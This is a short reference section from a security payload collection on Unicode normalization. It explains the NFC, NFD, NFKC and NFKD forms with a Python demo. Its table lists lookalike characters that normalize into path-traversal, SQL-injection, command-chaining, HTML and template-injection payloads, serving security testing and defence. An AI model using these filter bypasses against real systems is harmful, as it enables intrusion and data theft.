Unicode normalization is the process of converting Unicode text into a standardized, consistent form so that equivalent characters are represented the same way in memory. [Unicode Normalization reference table](https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html) * **NFC** (Normalization Form Canonical Composition): Combines decomposed sequences into precomposed characters where possible. * **NFD** (Normalization Form Canonical Decomposition): Breaks characters into their decomposed forms (base + combining marks). * **NFKC** (Normalization Form Compatibility Composition): Like NFC, but also replaces characters with compatibility equivalents (may change appearance/format). * **NFKD** (Normalization Form Compatibility Decomposition): Like NFD, but also decomposes compatibility characters. | Character | Payload | After Normalization | | ------------- | --------------------- | --------------------- | | `‥` (U+2025) | `‥/‥/‥/etc/passwd` | `../../../etc/passwd` | | `︰` (U+FE30) | `︰/︰/︰/etc/passwd` | `../../../etc/passwd` | | `＇` (U+FF07) | `＇ or ＇1＇=＇1` | `' or '1'='1` | | `＂` (U+FF02) | `＂ or ＂1＂=＂1` | `" or "1"="1` | | `﹣` (U+FE63) | `admin'﹣﹣` | `admin'--` | | `。` (U+3002) | `domain。com` | `domain.com` | | `／` (U+FF0F) | `／／domain.com` | `//domain.com` | | `＜` (U+FF1C) | `＜img src=a＞` | `<img src=a/>` | | `﹛` (U+FE5B) | `﹛﹛3+3﹜﹜` | `{{3+3}}` | | `［` (U+FF3B) | `［［5+5］］` | `[[5+5]]` | | `＆` (U+FF06) | `＆＆whoami` | `&&whoami` | | `ｐ` (U+FF50) | `shell.ｐʰｐ` | `shell.php` | | `ʰ` (U+02B0) | `shell.ｐʰｐ` | `shell.php` | | `ª` (U+00AA) | `ªdmin` | `admin` |
import unicodedata
string = "ᴾᵃʸˡᵒᵃᵈˢ𝓐𝓵𝓵𝕋𝕙𝕖𝒯𝒽𝒾𝓃ℊ𝓈"
print ('NFC: ' + unicodedata.normalize('NFC', string))
print ('NFD: ' + unicodedata.normalize('NFD', string))
print ('NFKC: ' + unicodedata.normalize('NFKC', string))
print ('NFKD: ' + unicodedata.normalize('NFKD', string))Source: Encoding Transformations/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.